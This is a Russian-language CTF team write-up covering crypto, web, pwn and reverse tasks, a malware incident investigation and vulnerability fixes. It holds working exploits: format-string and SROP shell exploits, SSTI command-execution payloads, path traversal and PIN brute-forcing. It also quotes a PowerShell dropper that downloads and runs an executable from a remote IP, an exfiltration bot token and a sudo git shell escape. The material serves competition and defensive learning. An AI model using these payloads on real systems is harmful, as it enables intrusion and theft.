Отчет о проделанной работе

**Информационная безопасность 2023/2024**

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

**енотики**

Порхунов Арсений Вячеславович, [aporkhunov@yandex-team.ru](mailto:aporkhunov@yandex-team.ru)

Герасименко Яна Васильевна, [yanagerasimenko@bk.ru](mailto:yanagerasimenko@bk.ru)

Борозенец Егор Владиславович, [borozenets2006@mail.ru](mailto:borozenets2006@mail.ru)

Кудрявцев Кирилл Александрович, [kir.kud@inbox.ru](mailto:kir.kud@inbox.ru)

**Наступательная кибербезопасность**

**Crypto 30**

Нам дана система 10 полиномиальных уравнений 17 степени от 3 переменных. Просто найдем их GCD через базис гребнера, получим параметры LCG и затем флаг

| data = eval(open('data').read())  states = data['states']  n = data['n']  enc = data['enc']  P.<a,b,x> = PolynomialRing(Zmod(n))  xt = x  eqs = []  for i in range(len(states)):  eqs.append((xt)^17-states[i])  xt=a\*xt+b  basis = Ideal(eqs).groebner\_basis()  a = int(-(basis[1]-a))  flag= (enc^^a) |
| --- |

**Crypto 20**

Классическая атака Полига-Хеллмана на ECC, когда мы ищем маленькие простые делители порядка кривой и восстанавливаем dlog.

| from sage.all import \*  from sage.rings.factorint import factor\_trial\_division  from cysignals.alarm import alarm, AlarmInterrupt, cancel\_alarm  import telnetlib  import json  import time  import ast  from sage.all import \*  io = telnetlib.Telnet('192.168.12.13', int(1228) )  time.sleep(4)  print(io.read\_very\_eager())  jses = []  for i in range(70):  io.write(b'get\_task\n')  recv = io.read\_until(b'\n')  # print(recv)  js = ast.literal\_eval(recv.decode().strip())  jses.append(js)  print(i)  print('done')    mods = []  vals = []  powers = []  M = 1  ords = []  o = 0  dct = {}  for js in jses:  a = js['a']  b = js['b']#randrange(2\*\*128)  #randrange(2\*\*128)  p = js['p']  E = EllipticCurve(Zmod(p), [a, b])  G = E.lift\_x(Integer(js['G.x']))  P = E(Integer(js['P.x']),Integer(js['P.y']))  try:  alarm(15)  ord = G.order()  if ord != P.order():  cancel\_alarm()  print('plox')  continue  ords.append((o,ord))  fs =list(factor\_trial\_division(ord,2^20))[:-1]  print(fs)  except AlarmInterrupt:  print('giga plox')  o+=1  continue  else:  cancel\_alarm()  o+=1  sub\_ms = []  sub\_vls = []  for i,pw in fs:  if pw>=2:  continue  p = i\*\*pw  if i not in mods:  M\*=p  mods.append(i)  vals.append(pw)  aboba = Integer(ord/p)  Gt = aboba\*G  Pt = aboba\*P  lg = discrete\_log(Pt,Gt,operation='+')  print(Pt==lg\*Gt)  print('mod log',p,lg)  vals.append(lg)  dct[i] = [lg]  # for lg in range(p):  # if Gt\*lg ==Pt:  # vals.append(lg)  # print('mod val', i,lg)  # break  # else:  # print('not found')  else:  aboba = Integer(ord/p)  Gt = aboba\*G  Pt = aboba\*P  lg = discrete\_log(Pt,Gt,operation='+')  print(Pt==lg\*Gt)  print('mod log',p,lg)  print('need', vals[mods.index(p)])  if lg not in dct[i]:  dct[i].append(lg)    if M>2\*\*320:  break  # print(int(CRT\_list(vals,[mods[i]\*\*powers[i] for i in range(len(mods))])).to\_bytes(320//8,'big'))  print(vals)  print(mods)  print(dct)  ms = []  vs = []  for k,v in dct.items():  if len(v)==1:  ms.append(k)  vs.append(v[0])  res = CRT\_list(vs,ms)# nto{50mb0dy\_45k3d\_m3\_f0r\_d1scr3t3\_l0g\_2}  print(int(res).to\_bytes(320//8,'big')) |
| --- |

**Сrypto 10**

| import requests  for pin in range(100001):  if requests.post('http://192.168.12.12:5000/api/EncryptPin', json={"pin":str(pin)}).json()['encrypted\_pin'] == requests.get('http://192.168.12.12:5000/api/EncryptedPin').json()['encrypted\_pin']:  print("FOUND", pin)#3561  break  print(pin) |
| --- |

брутим пин,захотим под ним и забираем флаг

**Web 10**

В исходниках странички находим: <http://192.168.12.10:5001/download?file_type=file1.txt> с текстом: maybe in etc/secret ???

делаем запрос на <http://192.168.12.10:5001/download?file_type=../../../../etc/secret>

получаем флаг: nto{P6t9\_T77v6RsA1}

**Web 20**

Декомпилируем предоставленный jar файл и видим два эндпоинта - /login с query-параметром password и /doc/{...}, который еще не имплементирован. Во втором замечаем, что допустима SSTI из-за уязвимости в фреймворке Spring. Получаем запрос следующего вида:

| <http://192.168.12.13:8090/doc/__$%7Bnew%20java.util.Scanner>(T(java.lang.Runtime).getRuntime().exec(%22touch%20pwned%22))%7D\_\_::.x |
| --- |

Ответ на команду получить уже не так легко, решаем вернуться к изучению логики работы приложения. Замечаем, что пароль для эндпоинта /login читается из файла password.txt, а если его нет, берется стандартный пароль password. С помощью найденной выше уязвимости удаленного исполнения кода удаляем файл password.txt, после чего заходим на /login с паролем password, получая флаг: nto{abobovichasdfas}.

**Web 30**

Для решения данной задачи было два вектора решения. Оба из них имеют одинаковое начало. Зайдя на сайт замечаем форму и заходим смотреть source code. Обнаруживаем, что некоторые символы и слова фильтруются. Это указывает на Jinja SSTI. Замечаем, что символы фигурных скобок на самом деле не фильтруются, так как используется регулярное выражение \w+. Далее видим, что вебсервер фильтрует запросы на эндпоинт, на котором есть SSTI. Для этого решаем воспользоваться другой уязвимостью - HTTP Smuggling, манипулируя значением Content-length. Тем не менее, так как таск был рассчитан на 120+ человек, получить запрос было тяжело. Поэтому было принято решение искать другой вектор. Им оказался миссконфиг, позволяющий добавить один слэш. В конфиге haproxy видим следующую строчку:

| acl restricted\_page path\_beg,url\_dec -i /flag |
| --- |

Эта строчка проверяет, что путь начинается со /flag, вне зависимости от регистра. При этом для Flask валидным путем является и путь, начинающийся с двух слешей - //flag, который спокойно проходит проверку фильтром и попадает на уязвимый эндпоинт Flask. Далее с помощью несложной инъекции:

| [http://192.168.12.11:8001//flag?name={{%20cycler.\_\_init\_\_.\_\_globals\_\_.os.popen(%27cat%20flag.txt%27).read()%20](http://192.168.12.11:8001//flag?name=%7B%7B%20cycler.__init__.__globals__.os.popen(%27cat%20flag.txt%27).read()%20)}} |
| --- |

получаем флаг: nto{Ht1P\_sM088Lin6\_88Ti}.

**Pwn 10**

После реверс-инжиниринга приложения видим, что строка, читаемая из стандартного ввода, сразу выводится в стандартный вывод с помощью printf, без какой-либо сериализации:

| char local\_418 [1032];  fgets(local\_418,0x400,stdin);  printf(local\_418); |
| --- |

Таким образом, программа уязвима к инъекции форматной строки. Также в программе есть функция win, которая запускает оболочку bash. Таким образом, с помощью найденной выше уязвимости, можно подменить адрес функции exit, которая вызывается в конце, на адрес функции win. С помощью pwntools формируем следующий эксплоит:

| from pwn import \*  binary = "./main"  e = context.binary = ELF(binary)  p = remote('192.168.12.13', 1923)  payload\_writes = {  e.got['exit']: e.sym['win']  }  payload = fmtstr\_payload(6,payload\_writes,write\_size='short')  p.sendline(payload)  p.interactive() |
| --- |

В корне системы лежит файл с флагом: nto{easy\_formt\_string}.

**Pwn 20**

| # https://github.com/ElikBelik77/ctfs-writeups/blob/master/offshift/moving\_signals/exploit.py  from pwn import \*  elf = context.binary = ELF("./task")  context.log\_level = logging.DEBUG  context.terminal = ["tmux", "splitw", "-h"]  def do\_debug():  return gdb.debug(elf.path, gdbscript = """  break \*0x41000  """)  def do\_local():  return process(elf.path)  def do\_remote():  return remote('192.168.12.13',1555)  pop\_rax = 0x41018  start\_offset = 0x41000  syscall\_ret = 0x41015  #p = do\_debug()  #p = do\_local()  p = do\_remote()  #payload = b"A"\*8 + p64(pop\_rax) + p64(pop\_rdi) + p64(0x41005) + p64(pop\_rax) + p64(ret) +\  #p64(0x41005) + p64(pop\_rax) + p64(push\_rsp) + p64(0x41005) + p64(pop\_rax) +\  #p64(0x41000) + p64(pop\_rdi) + p64(start\_offset)  payload = b"A"\*8 + p64(pop\_rax) + p64(15) + p64(syscall\_ret)  frame = SigreturnFrame()  frame.rax = 0  frame.rdi = 0  frame.rsi = 0x41025  frame.rdx = 0x300  frame.rsp = 0x41025  frame.rip = syscall\_ret  payload += bytes(frame)  p.send(payload)  input("...")  payload = p64(pop\_rax) + p64(15) + p64(syscall\_ret)  frame = SigreturnFrame()  frame.rax = 59  frame.rdi = 0x41025+248 + 0x18  frame.rsi = 0  frame.rdx = 0  frame.rsp = 0x41000  frame.rip = syscall\_ret  payload += bytes(frame) + b"/bin/sh\x00"  p.send(payload)  p.interactive() |
| --- |

Базовая эксплуатация SROP.

**Reverse 10**

| #https://github.com/221294583/crc32/blob/master/vid.py  import copy  crc32\_table\_polyrev=[]  poly\_rev=0xedb88320  for byte in range(256):  operator=copy.copy(byte)  for bit in range(8):  if (operator&0x1)!=0:  operator>>=1  operator^=poly\_rev  else:  operator>>=1  crc32\_table\_polyrev.append(operator)  def crc32\_polyrev(line):  var=0xffffffff  for ch in line:  operator=ord(ch)  operator=(operator^var)&0xff  print(operator)  var=crc32\_table\_recip[operator]^(var>>8)  return var^0xffffffff  from zlib import crc32  table = dict()  for i in range(256):  for j in range(256):  r = bytes([i,j])  table[crc32(r)]=r  arr =[ 0xEDCFE1F3, 0x646BCD23, 0x50F9AD57, 0xF299B1E1, 0xC6A9B6E4, 0x3280614C, 0x93772B02, 0xAB2C3A43, 0x2A0D936A, 0x1BFA14D4, 0x255D6F2F, 0xC447F66B, 0x5AD96CF5, 0xE964AD12]  b''.join(table[i] for i in arr) |
| --- |

Нашли обратную таблицу CRC32 и переписали алгоритм на Python

**Расследование инцидента**

**Часть 1 (Windows)**

**Каким образом вредоносное ПО попало на компьютер пользователя?**

Пользователь получил письмо с почты [j.nathan@microsoft.com](mailto:j.nathan@microsoft.com) с темой NDA Documents и архивом classified.rar во вложении. Там содержалась pdf, которая запускала cmd скрипт следующего содержания:

| cd %~dp0  @powershell -command "($drop=Join-Path -Path $env:APPDATA -ChildPath Rjomba.exe);(New-Object System.Net.WebClient).DownloadFile('<http://95.169.192.220:8080/prikol.exe>', $drop); Start-Process -Verb runAs $drop" &  TOP\_SECRET.pdf |
| --- |

Этот запуск также был замечен в просмотрщике событий Windows.

**С какого сервера была скачана полезная нагрузка?**

С вебсервера по адресу http://95.169.192.220:8080 был скачан файл prikol.exe, который был помещен в папку AppData/Roaming под названием Rjomba.exe

**С помощью какой уязвимости данное ВПО запустилось? В каком ПО?**

Уязвимость в WinRAR (CVE-2023-38831) позволяла замаскировать исполняемый скрипт под любой другой файл с помощью добавления пробела перед расширением и папки с названием, равным названию файла: [https://habr.com/ru/articles/797127/](https://habr.com/ru/articles/797127/%5D(https://habr.com/ru/articles/797127/))

**Какие методы противодействия отладке использует программа?**

Она зашифровывает строчки простым алгоритмом, который мы инвертили:

| void FUN\_14004fac4(undefined4 param\_1)  {  code \*pcVar1;  BOOL BVar2;  LONG LVar3;  PRUNTIME\_FUNCTION FunctionEntry;  undefined \*puVar4;  undefined8 in\_stack\_00000000;  DWORD64 local\_res10;  undefined local\_res18 [8];  undefined local\_res20 [8];  undefined auStack1480 [8];  undefined auStack1472 [232];  undefined local\_4d8 [152];  undefined \*local\_440;  DWORD64 local\_3e0;    puVar4 = auStack1480;  BVar2 = IsProcessorFeaturePresent(0x17);  if (BVar2 != 0) {  pcVar1 = (code \*)swi(0x29);  (\*pcVar1)(param\_1);  puVar4 = auStack1472;  }  \*(undefined8 \*)(puVar4 + -8) = 0x14004faf8;  FUN\_14004fabc(3);  \*(undefined8 \*)(puVar4 + -8) = 0x14004fb09;  FUN\_140087060(local\_4d8,0,0x4d0);  \*(undefined8 \*)(puVar4 + -8) = 0x14004fb13;  RtlCaptureContext(local\_4d8);  \*(undefined8 \*)(puVar4 + -8) = 0x14004fb2d;  FunctionEntry = RtlLookupFunctionEntry(local\_3e0,&local\_res10,(PUNWIND\_HISTORY\_TABLE)0x0);  if (FunctionEntry != (PRUNTIME\_FUNCTION)0x0) {  \*(undefined8 \*)(puVar4 + 0x38) = 0;  \*(undefined \*\*)(puVar4 + 0x30) = local\_res18;  \*(undefined \*\*)(puVar4 + 0x28) = local\_res20;  \*(undefined \*\*)(puVar4 + 0x20) = local\_4d8;  \*(undefined8 \*)(puVar4 + -8) = 0x14004fb6e;  RtlVirtualUnwind(0,local\_res10,local\_3e0,FunctionEntry,\*(PCONTEXT \*)(puVar4 + 0x20),  \*(PVOID \*\*)(puVar4 + 0x28),\*(PDWORD64 \*)(puVar4 + 0x30),  \*(PKNONVOLATILE\_CONTEXT\_POINTERS \*)(puVar4 + 0x38));  }  local\_440 = &stack0x00000008;  \*(undefined8 \*)(puVar4 + -8) = 0x14004fba0;  FUN\_140087060(puVar4 + 0x50,0,0x98);  \*(undefined8 \*)(puVar4 + 0x60) = in\_stack\_00000000;  \*(undefined4 \*)(puVar4 + 0x50) = 0x40000015;  \*(undefined4 \*)(puVar4 + 0x54) = 1;  \*(undefined8 \*)(puVar4 + -8) = 0x14004fbc2;  BVar2 = IsDebuggerPresent();  \*(undefined \*\*)(puVar4 + 0x40) = puVar4 + 0x50;  \*(undefined \*\*)(puVar4 + 0x48) = local\_4d8;  \*(undefined8 \*)(puVar4 + -8) = 0x14004fbdf;  SetUnhandledExceptionFilter((LPTOP\_LEVEL\_EXCEPTION\_FILTER)0x0);  \*(undefined8 \*)(puVar4 + -8) = 0x14004fbea;  LVar3 = UnhandledExceptionFilter((\_EXCEPTION\_POINTERS \*)(puVar4 + 0x40));  if ((LVar3 == 0) && (BVar2 != 1)) {  \*(undefined8 \*)(puVar4 + -8) = 0x14004fbfb;  FUN\_14004fabc(3);  }  return;  } |
| --- |

Еще программа убивает некоторые логгеры запросов (wireshark, tshark) и дебаггеры (taskmgr, gdb, x64dbg). И изменяет header секции методом PE Section Replace.

**Какой алгоритм шифрования используется при шифровании данных?**

AES CBC

**Какой ключ шифрования используется при шифровании данных?**

В процессе анализа впо нами было обнаружено, что впо использует следующие ключи: AES CBC key=”amogusamogusamogusamogusamogusam” iv =”abababababababab” для рансомвари (для шифрования)

| from binascii import unhexlify as unhex  from base64 import b64decode as bb  from Crypto.Cipher import AES  def dec(st):  a = len(st)  v2 = 0  v4 = list(st)  while v2<a:  v5 = 50 \* (v2 // 0x32)  v6 = v2  v2+=1  v4[v2-1] = v4[v2-1] ^ (v6 - v5 + 54);  return bytes(v4)  def decrypt\_arr(arr):  return dec(b''.join(map(lambda x:unhex(x)[::-1], arr)))  encs = list(map(bb, open('./senddocument.txt').read().split('\n')))  encs[-1]  # strs = [b'amogus'\*5+b'am', b'ab'\*8,b'sugoma'\*5+b'su']  # for i in range(len(strs)):  # for j in range(len(strs)):  # iv,key = strs[i],strs[j]  # cipher = AES.new(key, AES.MODE\_CBC, iv=iv)  # print(iv,key,cipher.decrypt(enc[-1]))  iv,key = b'abababababababab' ,b'amogusamogusamogusamogusamogusam'  cipher = AES.new(key, AES.MODE\_CBC, iv=iv)  cipher |
| --- |

**Куда злоумышленник отсылает собранные данные? Каким образом он аутентифицируется на endpoint?**

Исследовав поведение малваря, при помощи Charles, мы выяснили, что ВПО обращается на эндпоинт, указанный ниже. Отсылает шифрованные данные в файле info.txt. Имя бота: some\_forensics\_testing\_bot. Аутентификация с помощью ключа с помощью токена в URL:

| <https://api.telegram.org/bot7029575943:AAFNYmmW_QqqMcaHZ-DFRn3M05DptExeAGE/sendDocument> |
| --- |

**Каково содержимое расшифрованного файла pass.txt на рабочем столе?**

| K0uvQoK4IHyTxMGgFXcWFdYEPqZzSTO8G79diypFSlU= -> “sFYZ#2z9VdUR9sm`3JRz” |
| --- |

**Часть 2 (Linux)**

**Какой сервис на данном сервере уязвим? Какая версия?**

На данном сервере уязвима версия gitlab v15.2.2, CVE-2022-2884

**Какой тип уязвимости использовал злоумышленник?**

Данная CVE позволяет удаленно выполнить код на сервере -> уязвимость RCE. В ходе анализа файлов логов gitlab были обнаружены запросы к уязвимому endpoint api/v4/import/github

**Какие ошибки были допущены при конфигурации сервера?**

Файл /etc/sudoers:

| # I need this to have gitlab runners execute properly  # This is not very secure and will fix it later.  # Hope nobody will sploit me…  # git ALL=NOPASSWD: /usr/bin/git |
| --- |

Таким образом, sudo на git было доступно всем, что позволяло повысить привилегии.

**Как злоумышленник повысил привилегии?**

Оболочку можно было получить так:

| sudo git -p help config  !/bin/sh |
| --- |

При этом злоумышленник просто добавил свой ssh-ключ в авторизованные для пользователя root с помощью команды sudo git apply.

**Как злоумышленник получил доступ к серверу на постоянной основе?**

В файле /root/.ssh/authorized\_keys была обнаружена следующая строчка:

| ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIKXFjUp2LlKAsLvM1PZE7CYEfztiZrOf8PHx9ja1mu2 amongus@debian |
| --- |

Это позволяет злоумышленнику на постоянной основе подключаться по SSH от пользователя root.

**Как злоумышленник просканировал систему?**

В истории пользователя root есть удаление файла /tmp/linpeas.txt - результатов известного сканера системы, который был использован.

**С помощью какого ВПО злоумышленник закрепился на сервере?**

В директории /root есть скрипт autokitter.sh, создающий два so файла - jynx2.so (reverse-shell, работающий с паролем и через ssl) и reality.so (библиотека со вспомогательными функциями). В этом скрипте есть исходные коды этого шелла, закодированные в base64.

**Исправление уязвимостей**

**Рекомендации**

1. response.headers.add(“Access-Control-Allow-Origin”, “\*”) является уязвимостью, т.к. не имеет ограничений относительно кросс-доменов. Может привести к атакам типа CSRF (межсайтовая подделка запросов) и миссконфиг CORS. Рекомендуем ограничивать круг доменов, давая доступ только доверенным ресурсам.
2. Пароли в базе данных хранятся в открытом виде - это видно и из кода, и из самой базы данных. Если внутренний нарушитель получит доступ к БД, он сможет использовать эти пароли. Безопасное решение: хранить пароли в базе данных в виде хеша с солью - соль позволит избежать и быстрого перебора прообраза хеша грубой силой.
3. При смене пароля пользователя не обновляется токен, поэтому когда мы меняем пароль и есть активная сессия, то она не завершается. Исправление - инвалидировать токен при смене пароля.
4. Информация о правах администратора хранится и проверяется в токене - если снять с него права администратора или даже удалить аккаунт, по старому токену они будут доступны, так как не проверяются из базы данных.

**Уязвимости**

1. В функции updateLight не проверяется, что пользователь - администратор. Исправление:

| if error:  code = HTTPStatus.UNAUTHORIZED  elif not ('isAdmin' in data) or not bool(data['isAdmin']):  error = 'Доступ запрещен'  code = HTTPStatus.FORBIDDEN  else: |
| --- |

1. 211 строка auth\_api.py - SQL injection:

| sql\_query = "UPDATE user SET pw = '" + str(new\_password) + "' WHERE login = '" + str(username) + "';" |
| --- |

Исправление:

| sql\_query = "UPDATE user SET pw =? WHERE login = ?;"  try:  update\_cursor.execute(sql\_query, (new\_password,username))  db.commit() |
| --- |

1. уязвимость xss:

| POST /api HTTP/1.1  Host: 10.10.29.10:8007  Content-Length: 62  Access-Control-Allow-Origin: \*  Accept: application/json, text/plain, \*/\*  ContentType: application/json  Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InN0dWRlbnQ5NjQ2MSIsImlzQWRtaW4iOmZhbHNlLCJleHAiOjE3MTEwMjQ0NTJ9.0Z4FVfK7qufJ011iddQ85Pc2joDIgbjiVqXyDHIYJog  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36  Content-Type: application/json  Origin: http://10.10.29.10:8007  Referer: http://10.10.29.10:8007/lights  Accept-Encoding: gzip, deflate, br  Accept-Language: en-US,en;q=0.9  Connection: close    {"function":"addNote","noteText":"<script> print() </script>"} |
| --- |

Исправление:

| import html  noteText = html.escape(content[‘noteText’]) |
| --- |

1. Если с админского аккаунта послать запрос на получение пользователей: /api?function=getUsers, api также возвращает пароли пользователей. При этом фронтенд их не отрисовывает, но api возвращает. Разглашать пароли даже администраторам небезопасно. Исправление:

| user = {  'login': row[0],  'isAdmin': bool(row[1]),  'name': row[3]  } |
| --- |